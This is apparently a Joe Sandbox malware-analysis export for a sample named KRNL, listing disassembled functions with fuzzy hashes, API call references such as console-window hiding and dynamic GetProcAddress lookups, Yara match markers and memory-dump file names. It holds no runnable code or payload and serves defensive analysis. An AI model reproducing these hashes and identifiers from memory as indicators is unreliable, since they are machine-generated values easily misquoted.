Opcode ID: 97718bc0ed5acd2ef67b6ac929bf9cde3530f8ae51658a77dfe51b2ee5937b12
Instruction ID: 751a0443e18ccd328d4b1c2847a2144c861d21d079d442caefe011fc4f84fbda
Opcode Fuzzy Hash: 97718bc0ed5acd2ef67b6ac929bf9cde3530f8ae51658a77dfe51b2ee5937b12
Instruction Fuzzy Hash: C101B5F1B0031257E7609E11B5C0B27B2A86F84718F49453EE84897745EB7DFC05C29A

Function 0043B8A0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1078bce38a58236b1dcac59600fd09b41bbb1c8398a618abe0f8d5b15d6c0b66
Instruction ID: 8a02cb41ffff968b99fb010e73d9931b32f54ff3ec56746a22d9f2732814edb2
Opcode Fuzzy Hash: 1078bce38a58236b1dcac59600fd09b41bbb1c8398a618abe0f8d5b15d6c0b66
Instruction Fuzzy Hash: 7911C275008308AFC610AB15D884A7BB7AAFFDE319F05142DE78457330E332AD60DB96

Function 0040A2A6 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2194485ee7e9aaef04238bd0955ff54d561839f337ec04b75cafd92edaf81f56
Instruction ID: 77776f84d681761c0ea4071f8d21c85d41b3b70496975be68b61ff512d909adb
Opcode Fuzzy Hash: 2194485ee7e9aaef04238bd0955ff54d561839f337ec04b75cafd92edaf81f56
Instruction Fuzzy Hash: 0C110B31A543418FD7388F658410276B7E5AF9271572DC93EC8D3A7345DB3898528F49

Function 0043CDF0 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb3be7d817d82fdefde71abed4f6488080adf443fa0ae3ad428bc58e6f56e05f
Instruction ID: 04682a1340c881939bba4ac63b5721f1f095575c768f5dd830452c6098d82978
Opcode Fuzzy Hash: eb3be7d817d82fdefde71abed4f6488080adf443fa0ae3ad428bc58e6f56e05f
Instruction Fuzzy Hash: 3101D636D15A604BD319CF38CC1039673E6AB86306F098538DA45E7798DB7A98508784

Function 0040A533 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8d4ec5a897944de9ccb49b367769b78272b2d828bddb0ac0c15959bc6145835
Instruction ID: bae0f17c499c8538587101fc79fe5062e7aba0fbc5f9df691d55fbaf32910c34
Opcode Fuzzy Hash: c8d4ec5a897944de9ccb49b367769b78272b2d828bddb0ac0c15959bc6145835
Instruction Fuzzy Hash: 54D01223D454344BC7208D6CC8811F9B2B65B95211F4553668451B7589D969D81A4684

Function 0070AAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,0070AACD,?,?,?,?,?,?,?,?,?,?), ref: 0070AB88
__alloca_probe_16.LIBCMT ref: 0070AC43
__alloca_probe_16.LIBCMT ref: 0070ACD2
__freea.LIBCMT ref: 0070AD1D
__freea.LIBCMT ref: 0070AD23
__freea.LIBCMT ref: 0070AD59
__freea.LIBCMT ref: 0070AD5F
__freea.LIBCMT ref: 0070AD6F

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 8bf1dda838ae1146d79ffac75217d6f5a5e62cba7bf82d87a09097d8272ec5db
Instruction ID: 341c42c84f5c250b81d4d878749770d96cfdb581091847031405732ae010ab71
Opcode Fuzzy Hash: 8bf1dda838ae1146d79ffac75217d6f5a5e62cba7bf82d87a09097d8272ec5db
Instruction Fuzzy Hash: 0D71E272A00749FBDF219F64CC41FAF77EADF45310F294259E904A72D1EA799C008766

Function 006EFE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 006EFE70
__alloca_probe_16.LIBCMT ref: 006EFE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 006EFEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006EFEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 006EFF37
__alloca_probe_16.LIBCMT ref: 006EFF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 006EFF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 006EFFB9

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 29a86a7966c2a1e3ced010acf8c1c4d083ec40a51c66d02b4590534af834ba5d
Instruction ID: 8a514d65a2c29b63ce07548d9fda97788de5ad821e55bb1fb3a438822cf466fa
Opcode Fuzzy Hash: 29a86a7966c2a1e3ced010acf8c1c4d083ec40a51c66d02b4590534af834ba5d
Instruction Fuzzy Hash: 6051BE72A0138AAFEF204F66CC45FEB7BAAEF41750F248439F914DA290DB319C108B54

Function 006FEE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006FEEFC

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 53a2b6661e2d74c74cfcfbc20e3de9288081ca08ff30eea60494de05eccb8fe2
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 2FB15672A01259EFDB21CF24CC91BFE7FA6EF55310F144165EA44AB382DA759901C7A0

Function 0042349F Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 149COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00423561
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0042365E

Strings

dfkf, xrefs: 004235B6
afrf, xrefs: 004235CB
tfff, xrefs: 004235BD
s6B, xrefs: 0042366D

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: afrf$dfkf$s6B$tfff
API String ID: 237503144-2388771387
Opcode ID: 739c69699291754c9f9d4d5da237538ed2a12a9be9dcb9908bf42b9da2381962
Instruction ID: c4fcef847fc9925244f9592ad32bc230489d7192a80fca4986f29a4843e4299b
Opcode Fuzzy Hash: 739c69699291754c9f9d4d5da237538ed2a12a9be9dcb9908bf42b9da2381962
Instruction Fuzzy Hash: DA51ACB1D002149FDB14CF9ADC82B9A7AB4FB84310F15816DE904AF399C7798942CBE6

Function 006F0D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006F0D77
___except_validate_context_record.LIBVCRUNTIME ref: 006F0D7F
_ValidateLocalCookies.LIBCMT ref: 006F0E08
__IsNonwritableInCurrentImage.LIBCMT ref: 006F0E33
_ValidateLocalCookies.LIBCMT ref: 006F0E88

Strings

csm, xrefs: 006F0E1D

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b118e9bd8ffa822bdca2f7e6d26140d55c01dc1c099cfd4b7faf6a4368585889
Instruction ID: 694c281a61097a4ca51bfcc6b9b39304c963aa9d2f759b1aa154b3f46cf189b9
Opcode Fuzzy Hash: b118e9bd8ffa822bdca2f7e6d26140d55c01dc1c099cfd4b7faf6a4368585889
Instruction Fuzzy Hash: 9341C074A0021C9BDF10DF68C884AFEBBA7AF44314F148959EA149B393DB35AE11CB94

Function 006E3C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E3CA5
std::_Lockit::_Lockit.LIBCPMT ref: 006E3CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 006E3CE0
__Getctype.LIBCPMT ref: 006E3D92
std::_Lockit::~_Lockit.LIBCPMT ref: 006E3DD8

Strings

e.q, xrefs: 006E3D67

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.q
API String ID: 3087743877-2639829087
Opcode ID: 46f7a660d1d7ba914c4511f4953c0d7591864ab454aec560f9ee095b921ec09a
Instruction ID: 1f729a07bbbb5adc5d9fdeb5a5269754e35ec728f4d795bcd7b305397da966ec
Opcode Fuzzy Hash: 46f7a660d1d7ba914c4511f4953c0d7591864ab454aec560f9ee095b921ec09a
Instruction Fuzzy Hash: B0413971D013648FCB10DF99D845BAEB7B2FF44B20F188219D8156B391DB79AA01CF95

Function 006E24B0 Relevance: 10.6, APIs: 7, Instructions: 83threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 006E24DD
ShowWindow.USER32(00000000,00000000), ref: 006E24E6
GetCurrentThreadId.KERNEL32 ref: 006E2524

Part of subcall function 006EF11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,006E253A,?,?,00000000), ref: 006EF129
Part of subcall function 006EF11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,006E253A,?,?,00000000), ref: 006EF142
Part of subcall function 006EF11D: CloseHandle.KERNEL32(?,?,?,006E253A,?,?,00000000), ref: 006EF154

std::_Throw_Cpp_error.LIBCPMT ref: 006E2567
std::_Throw_Cpp_error.LIBCPMT ref: 006E2578
std::_Throw_Cpp_error.LIBCPMT ref: 006E2589
std::_Throw_Cpp_error.LIBCPMT ref: 006E259A

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: db3df0507b55c3079353c8bc4b00bcd022eb4bc768ff1bf4667a667eabde5eff
Instruction ID: fa8da950fbd48eda3c8cdc4c0d6502c1009abf29ead60990ac50d5af12390bcb
Opcode Fuzzy Hash: db3df0507b55c3079353c8bc4b00bcd022eb4bc768ff1bf4667a667eabde5eff
Instruction Fuzzy Hash: 9821A5F2D413959BDF50AF959D07BDE7BBAAF04710F080128F60476281E7B6A504C6A6

Function 006FCF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,?,?,?,BB40E64E,?,006FD01A,006E1170,006EAA08,?,?), ref: 006FCFCC

Strings

api-ms-, xrefs: 006FCF62
ext-ms-, xrefs: 006FCF76

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 21038a4c6a263bb1b9d6a63042490184febd2546351c5734fa47e0009f45b87d
Instruction ID: 794264b3dd513a880de7a660db47844131e8426facfd5debb747b33aefa0c95a
Opcode Fuzzy Hash: 21038a4c6a263bb1b9d6a63042490184febd2546351c5734fa47e0009f45b87d
Instruction Fuzzy Hash: 3721F631A02219ABCB218B68ED41AEAB75B9F457B0F254111FA59A73D0D774ED00CAD0

Function 006F0080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 006F0086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 006F0094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 006F00A5

Strings

kernel32.dll, xrefs: 006F0081
GetSystemTimePreciseAsFileTime, xrefs: 006F008E
GetTempPath2W, xrefs: 006F009A

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 1d8798a295572aa36238ed6d6de65352cac2dfe8ecd2a3bb54ac44ab1b5d945d
Instruction ID: e9b8ae64561f45ce0c7949f3ae10230d7d786c665f964b454091b45a6a29c701
Opcode Fuzzy Hash: 1d8798a295572aa36238ed6d6de65352cac2dfe8ecd2a3bb54ac44ab1b5d945d
Instruction Fuzzy Hash: FCD09EBA5522106B83115FBC7C09CC93EA9FA09711301C152F441E22D0DA7C65419AED

Function 00704F81 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e7c8fb666d9271c7d6cda6f98311830b881a333037df84a71feff34bd29dbe2
Instruction ID: 8cf2d19bb5e8a2ad2b5e2a5776c6eaf0bd55c6c08583ad03aab2436cacb0edfe
Opcode Fuzzy Hash: 6e7c8fb666d9271c7d6cda6f98311830b881a333037df84a71feff34bd29dbe2
Instruction Fuzzy Hash: 0DB1E1B4A04A49EFDB11DFA8D840BBEBBF1BF49304F148258E900972C2C7799941CFA4

Function 006E9B30 Relevance: 9.1, APIs: 6, Instructions: 125COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 006E9C97
std::_Throw_Cpp_error.LIBCPMT ref: 006E9CA8
std::_Throw_Cpp_error.LIBCPMT ref: 006E9CBC
std::_Throw_Cpp_error.LIBCPMT ref: 006E9CDD
std::_Throw_Cpp_error.LIBCPMT ref: 006E9CEE
std::_Throw_Cpp_error.LIBCPMT ref: 006E9D06

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: e5fab6b2c589da800f67e20cfb920f36e95ffa60d82340013dc1bd73cdef1b67
Instruction ID: 9320267bc15885780e24f8158d8190e29c47d907da69b4f21adf2af9b52efddc
Opcode Fuzzy Hash: e5fab6b2c589da800f67e20cfb920f36e95ffa60d82340013dc1bd73cdef1b67
Instruction Fuzzy Hash: FE41F5B0902780CBDB30AB6289067EFB7F6AF45724F28062DD57A163D1D3316904CB66

Function 006FACE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006FACDE,006F0760,006EB77F,BB40E64E,?,?,?,?,0070BFCA,000000FF), ref: 006FACF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006FAD03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006FAD1C
SetLastError.KERNEL32(00000000,?,006FACDE,006F0760,006EB77F,BB40E64E,?,?,?,?,0070BFCA,000000FF), ref: 006FAD6E

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1be3106652f0810daad1cc47e7f5f2c5ac002a2d50be5124eeef8d2fa8c3fb60
Instruction ID: ff97f8ed4bc408cf8d7c3fc3b2ad54830fc3a6f8cf20cc3f292b8784dfa646e1
Opcode Fuzzy Hash: 1be3106652f0810daad1cc47e7f5f2c5ac002a2d50be5124eeef8d2fa8c3fb60
Instruction Fuzzy Hash: FC01F57220A619DEE7242AB87C498B626C6EF06B75720833AF714457F0EF1558039555

Function 006FB56E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 006FB68D
CallUnexpected.LIBVCRUNTIME ref: 006FB906

Strings

csm, xrefs: 006FB5AB
csm, xrefs: 006FB618
csm, xrefs: 006FB6C4

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 20814496bd6f9ac2f7d51ead898cb949de318e68fe10d71cd96b549c7deaa051
Instruction ID: ac47d030443d3a466e2c7c2c504038bfed802992aabd5bc1c8715c08c71212a4
Opcode Fuzzy Hash: 20814496bd6f9ac2f7d51ead898cb949de318e68fe10d71cd96b549c7deaa051
Instruction Fuzzy Hash: 79B1677580020DEFCF14DFA4C8819BEBBBABF44310B14555AEA25AB212D731DA51CF96

Function 004284C0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 98COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00428577

Strings

B]C], xrefs: 004284D2
S%1e, xrefs: 00428590
B]V], xrefs: 004284E2
S%1e, xrefs: 00428546, 00428500

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: B]C]$B]V]$S%1e$S%1e
API String ID: 237503144-91396555
Opcode ID: 7fd0bbd5d6f31a729f27431df120334829b1dedf336d013a1b80b2b09c62a36b
Instruction ID: 8746a14ed2116129ecf6ab586aa45845e2b2ebc96e851e8bdc8583723b65a5bd
Opcode Fuzzy Hash: 7fd0bbd5d6f31a729f27431df120334829b1dedf336d013a1b80b2b09c62a36b
Instruction Fuzzy Hash: ED21057260C3255FE328CF25D8557ABF2E7EFC5700F11C83D95899B2D1DAB08446879A

Function 006EBE95 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 006EBF44
std::_Ref_count_base::_Decref.LIBCPMT ref: 006EC028

Strings

csm, xrefs: 006EBEB7
RCC, xrefs: 006EBEAB
MOC, xrefs: 006EBE9F

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
